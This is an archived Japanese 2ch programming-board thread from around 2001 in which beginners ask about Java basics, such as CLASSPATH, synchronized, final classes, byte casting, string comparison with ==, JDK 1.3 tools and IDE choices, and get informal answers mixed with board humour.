NGNGそれ、そのまんま「JavaWebStart」ホレ。
http://java.sun.com/products/javawebstart/
0206204
NGNGまぁ、布教をちゃんとするかどうかだけど。
0207デフォルトの名無しさん
NGNGそれに、WindowsXPからはJVM外されるみたいだし。Java Applet も見れなくなるね。
0208デフォルトの名無しさん
NGNG0209デフォルトの名無しさん
NGNG参考書なんかでCalendarクラスのMONTHで取れる値は0から11である。
それは諸外国では月を数字で表す習慣が・・等よく書かれていますね。
しかしもちっと突っ込んだLocaleを説明している所では必ずと言って
良いほど他言語との比較で月を数字で表す個所にお目にかかります。
諸外国でも0〜11ではなく1〜12です。よって習慣うんぬんというのは
おかしいと思うのですが皆さんどう思いますか?Cからの慣習とか言う
ならまだ分かるけど。
0210デフォルトの名無しさん
NGNG日本では月を数字で表す習慣はそもそもないからね。
それはそれとして、「0から」って判ってるんだから便利に使おうぜ。
0211デフォルトの名無しさん
NGNGあと、synchronizedの意味が良くわかりません。
良い参考書ないでしょうか?
よろしくお願いします。
0212デフォルトの名無しさん
NGNGCLASSPATH:*.classファイルを参照する時のルートディレクトリの集合。
例えば、hoge.hageパッケージのPage.classを参照する為には、
CLASSPATH指定PATH/hoge/hageディレクトリにPage.classをおいておく必要がある。
CLASSPATHには、ZIP/JARファイル自身を指定する事が可能。この場合その圧縮ファイル
での記憶ディレクトリ構成のルートがCLASSPATHってことになる。
synchronized:マルチスレッドプログラミングの排他同期制御用のロック宣言。オブジェクトインスタンス
ごとに一個ずつロック用オブジェクトが自動的に存在するのよ。ソイツの使用権(モニタと呼んでいる)
を掴む宣言がsynchronized。マルチスレッドプログラミングの勉強しないと意味ワカランかもしれん。
0213デフォルトの名無しさん
NGNG今度JAVAを使ったWebアプリを開発することになったんですが、
うちの社員はそろいもそろって、誰もJAVAで何ができるのか判らないので、
アホな質問をさせてもらいます。
サーバーのOSはWinNT4.0、DBはOracle8(JDBC使用)、WebサーバーはTomcat、
クライアントにはブラウザだけを置く、サーブレットを作る予定です。
DBの詳細(レコードの中身)をブラウザに表示するとき、
「更新」などのボタンを押すと小さな別窓が立ち上がり、
そこで表示するレコードを選びます。
このとき、リロードなしで元の詳細を表示するブラウザの窓に
選んだレコードを表示させる方法はないでしょうか?
(JAVAというより、httpの問題?)
サーバーに負担をかけず、なおかつ、レスポンスが速いのなら、
リロードしてもいいと思います。
0214デフォルトの名無しさん
NGNG>このとき、リロードなしで元の詳細を表示するブラウザの窓に
>選んだレコードを表示させる方法はないでしょうか?
アプレット等の力を借りずにリロードしないでサーバーのデータを表示するのは
無理。
HTTPってそういうもんだ。
(できるのなら2chだってそうするだろう)
>サーバーに負担をかけず、なおかつ、レスポンスが速いのなら、
>リロードしてもいいと思います。
サーバーに負担をかけずにレスポンスを速くするように作ればよい。
少なくとも同じことをするならCGIよりサーブレットのほうが
サーバプロセスをスレッドですませている分、速くて負担は少ないはず。
0215デフォルトの名無しさん
NGNG0216213
NGNGありがとうございます。
やっぱ、無理ですよね。
アプレットもしくはJavaScriptを使うか、スレッド処理させるかの
二者(三者?)択一になりそうですね。
素早いレスに感謝します。
0217デフォルトの名無しさん
NGNG自前プログラミングに自信があるなら、クライアントサイドを
アプリケーション(Appletでもいいけど)でにサーバソケット
開いておいて、サーバサイドで変更があるたびに変更分を
パブリッシュせよ。メッセンジャーの出来上がり。
0218デフォルトの名無しさん
NGNGVMってバイトコードを実行するインタプリンタなんだよね?
じゃ、なぜJavaのソースファイルをバイトコードにコンパイルする必要があるの?
VMが(Perlみたいに)直にソースファイルをインタプリントするわけにはいかないの?
0219デフォルトの名無しさん
NGNGJavaによる表計算とプレゼンソフト
よくできてるよ
0220デフォルトの名無しさん
NGNGおっ!TP2だ。ちょっとDLしてこよっと。
0221デフォルトの名無しさん
NGNGついでに Java はネットワーク上でやり取りされるから、コメント
等のいらん情報は極力省きたいよね。
0222218
NGNG字句解析、構文解析、意味解析まででできる中間言語ってのがバイトコード、
って理解でいいのかな。
Perlなんかはソースコードを一行づつ字句解析 → コード生成までやっていて、
Javaは中間言語を一行づつコード生成と最適化だけやっていく、ってこと?
0223デフォルトの名無しさん
NGNGとしてバイトコードを特殊な構文テキストと勘違いしてないかい?
0224218 =222
NGNG答えようがない。
字句や構文に誤りがないことが保証されたコードで、
その意味に沿って、おそらくは木構造で記述されているだろうと思っている。
例えば逆ポーランド記法で一行だけ計算式が書いてあるファイルがあったとして、
それを「特殊な構文テキスト」と呼ぶならば、答えはYes.
0225デフォルトの名無しさん
NGNGインタプリタに直すのは難しい気がする。
クラスを再定義(上書き)されたら既存のインスタンスは
どう振る舞うか、とか。
0226223
NGNGJava のバイトコードは VM 用の実行コードだ。標準の javap で
逆アセンブルも出来る。Java で書いたコードを逆ポーランド法
みたいなテキストに置き換えるのが Java コンパイラだと思って
るなら間違い。まぁ逆ポーランド法のように最適化されたバイナ
リだと言えなくもないが、ちょっと調べればネイティブのマシン
コードの方が近いということに気づくだろう。
02271
NGNG正しい!
0228名無し
NGNGマウスのホイールに合わせてスクロールさせること
はできないのでしょうか?
何か参考になるホームページ等あればご教授ください。
0229デフォルトの名無しさん
NGNG0230228
NGNGということは1.3ではできないのでしょうか?
0231デフォルトの名無しさん
NGNG0232デフォルトの名無しさん
NGNGいや、別にそういう修飾子が存在してるだけならいいんだけど、使う意味がわからない。
なんでわざわざ拡張性を否定するの?
0233デフォルトの名無しさん
NGNG手持ちの本ではパフォーマンス的に有利になることがあるって書いてある
C++のinlineみたいに最適化されるらしい
0234232
NGNGナルホド。
サンクス&スマソあげ
0236デフォルトの名無しさん
NGNGサブクラスを作って振舞いをごまかすようなことを出来ないようにする
ためかな。何かのクラスライブラリ作って人に使ってもらうとき、変な
使い方されないようにするとか、あー、あまり良い説明が思いつかない
けど使いどころは月1くらいにある。
0237デフォルトの名無しさん
NGNG俺の経験だと
java.awt.image.DirectColorModel がfinalだったよ。
扱う画像フォーマットに合わせてRBBの並びを入れ替えたかっただけ
だったんだけど
仕方がないからjava.awt.image.ColorModelから1から作ったよ。
DirectColorModelは実行環境のグラフィック機構とネイティブメソッドで
がっちり結びついていて
サブクラスで勝手に置き換えることができないみたいだ。
0238デフォルトの名無しさん
NGNG同じくSwingはどうですか?
0239デフォルトの名無しさん
NGNG慣れてる方を使えばいい
0241デフォルトさん
NGNGunable to load development environment dll
ってのがでて、動いてくれません。
どうすれヴぁいいか教えてください。
0242デフォルトの名無しさん
NGNG0243デフォルトの名無しさん
NGNGCPUに依存するんですよね。
少しでもCPUの早いWinの方がJavac処理は速いんですよね?
0244デフォルトの名無しさん
NGNG何が言いたいのかわからん。
CPU使用効率ならWinよりLinuxの方が良い。
0245デフォルトの名無しさん
NGNG0246as
NGNG0247お願いします
NGNGどのようなときでしょうか?また、その逆(スーパー
クラスをサブクラスにキャストする)ときってどのよ
うなときでしょうか?
どなたか教えてください。
0248デフォルトの名無しさん
NGNG言語の解説書読んだほうが早いと思うよ。
後者はあまり使わない(使いたくない)かな?
どうしても必要な時は、設計がまずい可能性あり。
0249デフォルトの名無しさん
NGNGfastjavac でも使っとけ。
0250デフォルトの名無しさん
NGNG必要になときにキャストすればいいだろ
そんな事気にする前にデザインパターンの勉強でもしとけば?
自然と必要な場面が分かるようになるよ。
0251デフォルトの名無しさん
NGNG「デザインパターン」だと難しすぎて手が出ないという人にも「Javaの格言」はお勧めだYO!
0252デフォルトの名無しさん
NGNG同じマシンにWinとLinuxをデュアルブートにしてコンパイルどっちが
高速か?という話かな? age
実行の場合も知りたいぞ
0253デフォルトの名無しさん
NGNG0254デフォルトの名無しさん
NGNG0255デフォルトの名無しさん
NGNG↓
攻撃対象がWinXP
↓
鬱
0256Code Redなんとかしろ!
NGNG0257デフォルトの名無しさん
NGNGそれは賛成だ!
君が作ってくれ!
0258デフォルトの名無しさん
NGNG0259デフォルトの名無しさん
NGNG0260デフォルトの名無しさん
NGNG0261デフォルトの名無しさん
NGNG0262デフォルトの名無しさん
NGNG昔、日コン連にそういう噂があったね。
0263デフォルトの名無しさん
NGNG日コン連なんて見てるヴァカがまだいるのか?
0264デフォルトの名無しさん
NGNG0265デフォルトの名無しさん
NGNG0266デフォルトの名無しさん
NGNGコンシューマ向けというのはあり得るかも
0267デフォルトの名無しさん
NGNG0268デフォルトの名無しさん
NGNGFileクラスにはそのようなメソッドはないみたいですけど、
1行1行出力するみたいな感じしかないのでしょうか?
0269デフォルトの名無しさん
NGNGどちらかというと、C++に似ているような気が・・・
違いは処理系によって違う。
言語の仕様に関してはC(C++)ライクな言語はいくらでもある。
0270デフォルトの名無しさん
NGNGコードが長くなったり、見にくくなったりする。
これは 1 つの try にまとめた方が良いんですか?
それともちゃんと1個1個エラー処理を入れた方が良いんですか?
0271デフォルトの名無しさん
NGNG関数(メソッド?)へのポインタ型はどのように宣言しますか。
0272デフォルトの名無しさん
NGNG定数宣言する (enum は欲しかった機能の一つだな)。
関数ポインタはインターフェースと実装を分けることで実現できる。
0273デフォルトの名無しさん
NGNG逝ってることが良く分からんが君はきっと throws を使ってないな?
発生した例外は対処できるところまで投げっぱなしでよい。
0274デフォルトの名無しさん
NGNG結果を出力するとログが流れて画面から消えた出力結果が見れません。
WIN2000だとスクロールバーがついていて、上に上ることもできるのですが
現在WIN98の環境ではスクロールバーがなくて困っています。
どうしたらいいでしょうか?
0275デフォルトの名無しさん
NGNG0276デフォルトの名無しさん
NGNGスクロールバーみたいなの出したりできると便利なのにな
0277デフォルトの名無しさん
NGNGただし、どのメソッドがthrowするかちゃんと把握しておくこと。
どこでthrow起きても後処理に不整合が起きないようにしないと。
0278デフォルトの名無しさん
NGNGmiel とか less とか使え。
0279デフォルトの名無しさん
NGNGC:\> java Unko > dechau.txt
C:\> start dechau.txt
0280デフォルトの名無しさん
NGNGhttp://www.neuro.gatech.edu/users/cwilson/cygutils/unversioned/consize/index.html
0281デフォルトの名無しさん
NGNG実行したら次のメッセージが出て結果が見られない。
Exception in thread "main" java.lang.NoClassDefFoundError: FristProgram
鬱な質問ですまんが教えてたも。
0282デフォルトの名無しさん
NGNG実行できてねえよ。
JavaVMのユーザコード実行スレッドが、
コマンドライン指定のクラスファイルをロード
しようとして、見つけられないんだとさ。
0283デフォルトの名無しさん
NGNGクラスファイルのオプションつけたら実行できた。
サンクス。
0284デフォルトの名無しさん
NGNGどうも有難うございます。
try {
何とか var = new 何とか
}
catch (...){
}
みたいのが続いたので、1 つの try { に全部まとめても良いのか、
聞きたかったのです。わかりずらくてゴメン
0285型変換の質問
NGNGpublic static void main(String args[]) {
int i = 1;
byte b = 0;
b = i;
System.out.println(b);
}
}
当然これはエラーが出ますが、
b += i;
だったらエラーが出ません。なぜでしょうか?
b = b + i;
これはエラーです。
0286デフォルトの名無しさん
NGNG0287285
NGNGb += i;
と
b = b + i;
は同じ意味と書いてあったので???だったわけです.
あまりにも初歩的なようなので、自力で頑張ってみます。
0288デフォルトの名無しさん
NGNGb = b + i は 値がIntegerの状態では代入できないからByteへキャストする
必要があるっつーことではないかな?
0289デフォルトの名無しさん
NGNGこっちはネタ心者用スレだから初歩的なことでもいいんだけど、
オヤ?っと感じたとこからキャストの規則を自分で把握するといいと思ったんだよ。
0290285
NGNGそれをキャストと呼ぶことは知りませんでした。
ありがとうございます。
疑問に思った点は>>288さんの回答で解決のようです。
勉強になりました。
0291デフォルトの名無しさん
NGNG0292デフォルトの名無しさん
NGNG02931
NGNG多くのバグの原因になりうる問題だからちゃんと理解しておいた方がよいかもね。
javacは通るけど動作させたらバグがでた。という、典型的なパターンだね。
お互いに頑張りましょう!
あ。 1 != 291 ね^^
0294デフォルトの名無しさん
NGNG協同作業である仕事でのプログラミングでは、「暗黙の型変換は使用しない」
のが正しいと思われる。
つうか、byteにint足したり引いたりすんな。
ビット演算みたいなことがしたいなら、シフト演算と&、|だけにしようね。
0295デフォルトの名無しさん
NGNG"0xa0" などの String を byte に変換したいのですが、どうするのが普通でしょうか?
Byte.decode(...) とか Byte.parseByte(...) かと思ったのですが NumberFormatException
でコケてしまいます。
0296295
NGNGInteger.parseInt("a0", 16); は問題ないのですね。
Byte.parseByte("a0", 16); は例外発生。
なぜ??おしえていただけませんか。
0297オレも厨房
NGNGa0=160>127
だから、エラーが出てるんだよ。
byte b = Byte.parseByte("7f",16);
Byte b = Byte.decode("0x7f");
などByteの範囲内ならエラーは出なかったよ。
0298295
NGNGそうか。どうもです。
0299名無し
NGNG0300デフォルトの名無しさん
NGNGえろげー
300おっぱーい
0301名無し
NGNGでもめっちゃ重いんだけどさー
これで何すりゃいいんじゃあ
0302デフォルトの名無しさん
NGNGねっとのぷろぐらむのおべんきょ
0303デフォルトの名無しさん
NGNGBluetteというIDEを使おうと思ってるんですが・・・
主観で良いのでコメント下さい。
0305304
NGNG一応、配布してみたよ。
http://www.geocities.co.jp/SiliconValley-Cupertino/9299/
0306デフォルトの名無しさん
NGNGこれスゴいな
頑張ろうって気になった!有難う!!!
0307デフォルトの名無しさん
NGNGエディタ画面のあまりの格好悪さに、3秒でクローズ。
以後1回も起動せず。
0308デフォルトの名無しさん
NGNG0309デフォルトの名無しさん
NGNGVisualCafeにその機能あるらしいよ。
ただし、その動作例が少ないところを見ると、あまりうまくいかないように思われ。
0310デフォルトの名無しさん
NGNGVisualCafeみたいなソフト使わなきゃできないのかなあ。
Windowsで実行可能な(コマンドラインからじゃなくて)
実行可能にするには、EXEファイルにする以外に方法ってある?
0311デフォルトの名無しさん
NGNGバッチファイルにして、ショートカットを作成するのはどう?
0312デフォルトの名無しさん
NGNGJDKがインストールされている環境であればjarのダブルクリックでよいだろう?
0313デフォルトの名無しさん
NGNG今イチ使えネーって感じ。
いいとこ狙ってると思うけど実用レベルに達していない。
0314デフォルトの名無しさん
NGNGアプリケーション作成なら初心者は JDK + お気に入りのEditorがいいかも
金のない奴はJBuilder無料版でとことん頑張る。
Sunのふぇちは同じ無料でもForte2.0。最後にうけねらいでBluette ^^
0315デフォルトの名無しさん
NGNGjava -Xmx と同じ事がしたいのです。
0316303;
NGNGレスありがとうございます。
いまはTeraPadとJDKを使用ます;
BuilderとかForte2.0は重そうなので使いたくないです;
複雑な機能は要らないので、
「エディターは色分け+自動インデント、キーボードから手を放さずにコンパイル+実行」
なソフトを探しているんですが、Vecterではなかなか見つかりません;
そんなソフトはないでしょうか?
0317デフォルトの名無しさん
NGNG色分け+インデントはいくらでもある(と思う)から
あと、マクロでコンパイル/実行出来る物を探せばいい。
自分は秀丸でキーワードの太字・色付けして
コンパイル+実行は少し面倒だけどDOS窓でやっているけど、
マクロ作ればキーボードだけで出来ると思うよん。
0318デフォルトの名無しさん
NGNGまじでわかんないよ。
0319デフォルトの名無しさん
NGNGMeadowとantで全て解決
0320デフォルトの名無しさん
NGNGFrameやDialog系はIDEで作ってそれ以外のクラスは普通の
エディタで作るのがええかも
0321デフォルトの名無しさん
NGNG継承や多態は理解しているの?
基本をしっかり押さえとかないと時間の無駄だよ
0322デフォルトの名無しさん
NGNG0323デフォルトの名無しさん
NGNG必要としたことないッス
0324デフォルトの名無しさん
NGNG0325デフォルトの名無しさん
NGNGメモリ破壊がないから原因不明の妙な障害にあまり遭遇しない
スタックトレース見ればたいてい解決してしまう
ゆえに使用頻度が低いからjdbでも我慢できてしまう
0326デフォルトの名無しさん
NGNGキーボードから手を放さずにコンパイル出来る方法。
「スタートメニュー」→「p」→「m」→「ENTER」→「PATH C:\jdk1.*\bin」→「ENTER」→「cd \***\****」→「ENTER」→「java ***.java」→→→→「exit」→「ENTER」
0327デフォルトの名無しさん
NGNG同じだよ。仕様も全部同じ。
ただ、ブラウザで実行するかどうかの違い。
0328デフォルトの名無しさん
NGNG>仕様も全部同じ
ある意味本当。
0329デフォルトの名無しさん
NGNG1)ネタにネタレス
2)ネタにマジレス
3)マジにネタレス
4)マジにマジレス
2だとイタイ
0330デフォルトの名無しさん
NGNG邦訳のAPI仕様のみをダウンロードできる所ってありませんか?
0333デフォルトの名無しさん
NGNG非常に残念ですがありません。参考図書を購入区d再
0334デフォルトの名無しさん
NGNGhttp://java.sun.com/j2se/1.3/ja/docs.html
0335デフォルトの名無しさん
NGNGWebではJava2 API仕様は邦訳なんですね。
なんで俺のは英語なんだ? 鬱だ死のう
0336デフォルトの名無しさん
NGNG0337デフォルトの名無しさん
NGNG四流プログラマには必須 > デバッガ
0338デフォルトの名無しさん
NGNG0339デフォルトの名無しさん
NGNGRuntime.traceMethodCalls()は、
いつになったらちゃんと実装するんだ?
0340shige
NGNG;llllllll :lllllllllii;;;,_
lllllllllll .'llllllllllllllllト
.lllllllllllllト :llllllllllllllllト
.llllllllllllllト lllllllllllllllllト
.llllllllllllllレ lllllllllllllllllト
.llllllllllllllll .llllllllllllllllレ .,;;;;;_
llllllllllllllllト .llllllllllllll llllllllll :illlllllllll;_
.lllllllllllllllト illlllllllll .lllllllllllllllll;_
''llllllllll .lllllllllllll .llllllllllllllllllレ
llllllllllllllト 'lllllllllllllllll
'llllllllllllllレ 'llllllllllllllll
llllllllllllllllll_ 'llllllllllllllレ
llllllllllllllllllll .''lllllllllllト
.lllllllllllllllllllllllli; '''''''
.'lllllllllllllllllllllll ,,,;;;;;;_
''llllllllllllllll .illllllllllllllllllll;;_
゙゙''''''` .''lllllllllllllllllllllllll;;_
゙''llllllllllllllllllllll(
________
.;lllllllllllllllllllllllllllllllllllllllllllllllllll;;
;lllllllllllllllllllllllllllllllllllllllllllllllllllllll
.;lllllllllllllllllllllllllllllllllllllllllllllllllllll`
.''''''''''''''''''''llllllllllllllllllllllllllll'`
:,,;illlllllllllllllllllllllllllll_
:;;illllllllllllllllllllllllllllllllllllll| ,,,;;;;iiii
;;illlllllllllllllllllllllllllllllllllllllllllll!;;;;illllllllllllll
'lllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllト
゙''llllllllllllllllllllllll'llllllllllllllllllllllllllllllllllレ
0341デフォルトの名無しさん
NGNG0342デフォルトの名無しさん
NGNG0343デフォルトの名無しさん
NGNGJavaのドキュメントをダウンロードするときって、ボタンをクリックして行いますが、
あれはIriaでダウンロードさせないための陰謀ですか?
よろしければIriaでもダウンロードできる方法を教えてください。
0344デフォルトの名無しさん
NGNG陰謀です。
0346デフォルトの名無しさん
NGNG0347343
NGNG0348デフォルトの名無しさん
NGNGないようにしてるだけとおもわれ。
広告ティッシュ並にばらばら配ってエンドユーザに浸透させるべき
はずなのに、Sunは何を考えているのか分からんということなら、
同意。
0349デフォルトの名無しさん
NGNG今日サブマシンの方に入れたら
This J2EE SDK release runs only on Java2(JDK1.2 or later)
というエラー出て困ってます(J2EEがjdk1.4をjdk1.1とでも思ってるんか?)
もちろんJDK1.3+J2EEの方はうまく動いてます。
jdk1.4とj2ee入ってる人こんなことない?(windows)
0350349
NGNGサブマシンにJDK1.4にして環境組みなおそうと思ったけど
ヤメダヤメダ
0351デフォルトの名無しさん
NGNGまだ待ちだね
0352デフォルトの名無しさん
NGNGstatic String henkan(String c){
String x;
if (c=="one")
x="uno";
else if(c=="two")
x="dos";
else if(c=="three")
x="tres";
else if(c=="fwo")
x="quatro";
else if(c=="five")
x="cinco";
else x="(゚д゚)ウマー";
return x;
}
}
class Kokugo{
public static void main(String args[]){
System.out.println(Gaikoku.henkan(args[0]));
}
}
コマンドライン(?)にoneとかtwoとか打っても
なぜか、(゚д゚)ウマーとしかでないYO−
教えてください。
0353デフォルトの名無しさん
NGNG文字列比較は==でやっちゃダメだぞ! じゃまた来週!
0354352
NGNG来週と言わずに今すぐ教えてくださいYO−
あっ!わかったYO−
c.equalslgnoreCase("one")ってやればいいのかYO−
353ありがとYO−
0355デフォルトの名無しさん
NGNGリファレンスを見るときは、スーパークラスも参照しましょうね。
0356デフォルトの名無しさん
NGNGかわいいワラタ(w
普段は漏れは
x.equals("one")ってやってるが
0357デフォルトの名無しさん
NGNGアプリを会社で作って家で修正しようと思ってるんだけど
GUI部品をポチッと押すだけで不正な処理落ちしてしまいます。
エラーの詳細見ると、JAVAWのページ違反・モジュールATOK12W…
とかあるんだけど、どこが悪いのかわからんのです。
こないだ入れたJビルダーがなんか悪さしたのかなー。
アドバイスお願いします。
0358デフォルトの名無しさん
NGNGx="cinco";
イタ語で5はちんこ…
0359デフォルトの名無しさん
NGNGATOKをアンインストロールしてみる、というのも一つの手。
0360357
NGNGなるほど。やってみます。
それにしても、ATOKを入れたり消したり壊したり
したわけでもないのに、前は動いてたJavaが
最近動かなくなったのが解せない…。ウイルス??
0361352
NGNGスーパークラスは、最近ならたから、しってるけどYO−
リファレンスは知らないYOー
よければ教えてください。
0362デフォルトの名無しさん
NGNGAPIのドキュメントを読めば一発で理解が深まるYO! (大爆笑)
http://java.sun.com/j2se/1.3/ja/docs/ja/api/index.html
0363352
NGNGここにいる人たちが、「ドキュメントよめよ(゚д゚)ゴルァ」
て、言ってた意味がよくわかったYOー
独習JACAには、1部のインスタントメソッドしか乗ってなかったけど
そのHPにはいっぱいのってたYO−
362ありがとうYO−
0364デフォルトの名無しさん
NGNGダウンロードもできるよ
0365デフォルトの名無しさん
NGNGアプレットクラスのメソッドでしか、ファイル取得や再生が出来ないっぽいのですが
0366352
NGNG教えてくれて、ありがとYO−
いまからDLして、立派なJAVAプログラマーになるYOー
密かな疑問?
いつも2chの人は初歩的な質問したら、怒ってただす。
でも、なんでおらの質問には答えてくれたんだすか?
0367デフォルトの名無しさん
NGNGアプレットクラスのstaticなメソッドnewAudioClip(URL url)で
できるよ。
詳細は以下を見て。
http://java.sun.com/docs/books/tutorial/sound/playing.html
0369デフォルトの名無しさん
NGNG質問する場所と、質問する態度と、回答者のそのときの気分次第じゃない?
今回のは自分なりに頑張って勉強している姿が透けて見える質問だったからかもね。
教えてクソにならないように気を付けてね。
0370デフォルトの名無しさん
NGNGとりあえず両方やってる君
0371デフォルトの名無しさん
NGNGその家のJDKのバージョン1.3.0(ピッタシで)じゃない?
バージョン1.3.0なら既知のバグですよ。
(自分も前かなり悩んだ)
バージョンを1.3.0_02以上(今は1.3.1)に上げることにより
解決するそうです。
関連記事
http://java-house.etl.go.jp/ml/archive/j-h-b/036541.html
http://developer.java.sun.com/developer/bugParade/bugs/4337116.html
http://cafe.justsystem.co.jp/faq/ark/win-jre13-ime1.html
0372デフォルトの名無しさん
NGNGこんなのがあるなんて知らなくて、いっつもルーチン書いてたオレって、、、。
そういう密かに役に立つクラスって、他に何かあります?
(あいまいな聞き方スマソ)
0373デフォルトの名無しさん
NGNGつうか普通の入門書でもそれくらい載ってないか?
0374352
NGNG教えてくれて、ありがYO−
教えてクソにはならないように、きおつける。
>>370
C#と言う高名な言語は、習ってないYO−
JAVAを始めるまで、HSPをやってたから、あの書き方になったのかもYO−
0375名無し
NGNGありましたっけ?
0376デフォルトの名無しさん
NGNG”+”とか使えるのでしょうか?
普通#concat()使うのが正当なのですか?
0377デフォルトの名無しさん
NGNGどうしてそういう仕様にしたかはジェームス・ゴスリングに聞いとくれ。
0378デフォルトの名無しさん
NGNG0379デフォルトの名無しさん
NGNGこれ以上デバッグしにくくなっても困るから
現状のままでいいと思う。
0380デフォルトの名無しさん
NGNG0381デフォルトの名無しさん
NGNG基本的にアルファでナントカする。
IndexColorModelには透明色あるけど、結局アルファにマップされる
#Java2は知らない→教えてJava2Dの偉い人
0382デフォルトの名無しさん
NGNG例えば選挙投票を行うといったアプリ
�@iアプリを立ち上げ、投票する。
�A投票結果(グラフ)が返ってくる
�Bグラフを定期的に通信を行い表示する。
こういったものなのですがどうすれば良いのかさっぱりわかりません。
教えてください。
iアプリで通信を行うといったことが書いてあるサイトなどあればお教え下さい。
0383デフォルトの名無しさん
NGNGDoJaでサーバからのプッシュは無理と思われ。
たしか通信方法ってHttpURLConnectionしかないんでしょ?
定期的に携帯側からリロードするしかないんじゃない?
0384デフォルトの名無しさん
NGNG0385デフォルトの名無しさん
NGNGつうか検索エンジンってしってる?
0386デフォルトの名無しさん
NGNGよし、じゃまずはアプレットでそれ作ってみよう!
それができたらiアプリいってみよう
0387デフォルトの名無しさん
NGNGさーて、台風もきてることだし2chの見回りでも行くか
ところでiアプリってほんとに携帯端末の標準となるモノなのかな・・?
0388デフォルトの名無しさん
NGNGJava相談室 Part1
http://piza.2ch.net/test/read.cgi?bbs=tech&key=971960169.html
Java相談室 Part2
http://piza.2ch.net/test/read.cgi?bbs=tech&key=980858322.html
Java相談室 Part3
http://piza2.2ch.net/test/read.cgi?bbs=tech&key=994150280
Java相談室 Part4
http://piza2.2ch.net/test/read.cgi?bbs=tech&key=997791189&ls=50
0389デフォルトの名無しさん
NGNG0390デフォルトの名無しさん
NGNGなりません。
0391デフォルトの名無しさん
NGNG電話やPDAを含め実行環境&ライブラリは
今後ともボコボコ増えていきそうな予感、、、
0392デフォルトの名無しさん
NGNG0393デフォルトの名無しさん
NGNG0395328と書いた男
NGNG逝ってきます・・・・
0396デフォルトの名無しさん
NGNG0397デフォルトの名無しさん
NGNGつうか、検索エンジンって知ってる?
0398デフォルトの名無しさん
NGNG0399396
NGNG0400デフォルトの名無しさん
NGNG0401デフォルトの名無しさん
NGNG0402400
NGNGサンキュー!
ところでStackクラスって、
複数スレッドで同時に取り出したり入れたりしたら
おかしなことになるかな?
ちゃんとアトミックな動作保証されてる?
0403デフォルトの名無しさん
NGNG0404デフォルトの名無しさん
NGNGとりあえず分からないうちは
関数もメンバーにできる構造体 として理解してください。
0405名無しさん
NGNGだけで1時間もかかっちまったぜ。
屈辱だ
0406デフォルトの名無しさん
NGNGずいぶん大きなファイルだね。
0407デフォルトの名無しさん
NGNGで初期化した配列にn番目の要素を加えたいのですが
効率のいい方法ってありますか?
b[n+1]を新しく用意して、a[n]をループして入れていくのが
妥当でしょうか?
0408デフォルトの名無しさん
NGNGArrayList使えよ。
0409デフォルトの名無しさん
NGNG配列のコピーは、System.arraycopy()ね。
b[n+1]よりは、b[2*n]くらいの方がいいと思うけど。
0410デフォルトの名無しさん
NGNGelse if
else
の条件分岐にコメントをつけたいのですが、どれが妥当でしょうか?
class Test {
Test() {
int a = 0;
// pattern 0
if (a == 0) {
}
// comment
else {
}
// pattern 1
if (a == 0) {
}// comment
else {
}
//pattern 2
if ( a == 0) {
} else{
// comment
}
}
}
0411デフォルトの名無しさん
NGNGfuncnameには、実際の処理の内容を簡潔に表す抽象名を与えれ。
public void func(){
//...
if(a==0){funcname1();}
else{funcname2();}
//...
}
/*
comment
*/
private void funcname1(){}
/*
comment
*/
private void funcname2(){}
0412デフォルトの名無しさん
NGNG最初の if の前にコメントをまとめて書く。それで完結に書けないほ
ど複雑な条件分岐なら、データ構造が腐ってないか考え直す。
0413デフォルトの名無しさん
NGNG0414デフォルトの名無しさん
NGNG描いた円グラフをgifかjpegで残したいんだけど……。
0415デフォルトの名無しさん
NGNGJPEGなら
com.sun.image.codec.jpeg.JPEGCodec
が使えるよ
0416メール
NGNGnet.*を使ってメールを送信するプログラムを作ったのですが、
相手先のメールアドレスが間違っている場合でも送信ができるみたいで、
結果的にSMTP鯖(か?)がエラーメールを返してきてから、あ、メアドが
間違っていたのねん。気づきます。
これを、Javaプログラム上で知る方法はないでしょうか。
(メールを送信するときの送信エラーをキャッチする??)
SMTPの仕様上、どうやっても不可能なことなのでしょうか。
JavaハウスのMLは検索してみましたが、どうも満足できる回答はありませんでした。
0417通りすがりの茶々入れ
NGNG普通のメールソフトになぜそういう機能が実装されていないのか考えれ。
つーかちっとは頭つかえ
0418デフォルトの名無しさん
NGNGまではチェックできるかな?そんなことに意味があるのか
どうか知らんけど。
0419414
NGNGありがとう♪
非推奨APIの中にあったのね〜。気付かんかった……。
いざ、デスマーチに逝ってきます!
0420414
NGNG鬱だし脳……
0421デフォルトの名無しさん
NGNGメールアドレスチェック機能を付けてサイズの小さなダミーメールを送って
戻って来なかったら本文を送信できるようにしたい ということ?
それとも そういうAPIが用意されていないかどうか?ということ?
0422デフォルトの名無しさん
NGNGなんか、SPAM自動送信でもしたいような雰囲気を感じないか?
その質問、マトモに答えていいものやら…
0423デフォルトの名無しさん
NGNG0424デフォルトの名無しさん
NGNG0425デフォルトの名無しさん
NGNGメルマガでStep Up! Windows Java編というのを見つけました。
これっていいですか?
0426デフォルトの名無しさん
NGNGそんなの知らねぇよ・・・
一回、はいってみて、いやだったら抜けりゃいい。
0427デフォルトの名無しさん
NGNG0428デフォルトの名無しさん
NGNGTreeSetのソース読んだら?
0429デフォルトの名無しさん
NGNGcompositeパターンをつかえ。
0430デフォルトの名無しさん
NGNGっつーか、ちょっと気の利いた参考書買え。
んで、解らなかったらここで聞くべし
0431デフォルトの名無しさん
01/08/27 15:32ID:/PoX2O.Y他のオブジェクトとの通信用?
ただのインターフェイス?
0432デフォルトの名無しさん
01/08/27 15:53ID:tYImfmtE0433デフォルトの名無しさん
01/08/27 16:01ID:/PoX2O.Yすごく勉強したいです。
お勧めの本またはWeb 紹介してください。
0434デフォルトの名無しさん
01/08/27 16:07ID:yQRMGUUY他のオブジェクトとの通信のための
受信用コールバックメソッドの仕様を一意に決定するための
ただのインターフェースだよ
0435デフォルトの名無しさん
01/08/27 17:08ID:Y0v9BW06ttp://www.hyuki.com/
が評判だ。
0436デフォルトの名無しさん
01/08/28 00:09ID:YyraRtmM「Javaで学ぶアルゴリズムとデータ構造」という本はなかなかよいぞ。
全てのアルゴリズムを動くアプレットを使って目で確認できるのがGood
だと思う。ツリーやグラフもちゃんとでてるぞ〜
0437デフォルトの名無しさん
01/08/28 16:37ID:DkRrPUx20438デフォルトの名無しさん
01/08/28 17:21ID:85p6L5aIhttp://www.zdnet.co.jp/download/pc/tools/kopisuite.html?1c08012410 より
>フリーのJavaコンパイラ
>本パッケージ「KOPI Suite」の主要製品「KJC」は,
>完全なJavaで記述されたフリーのJavaコンパイラで,
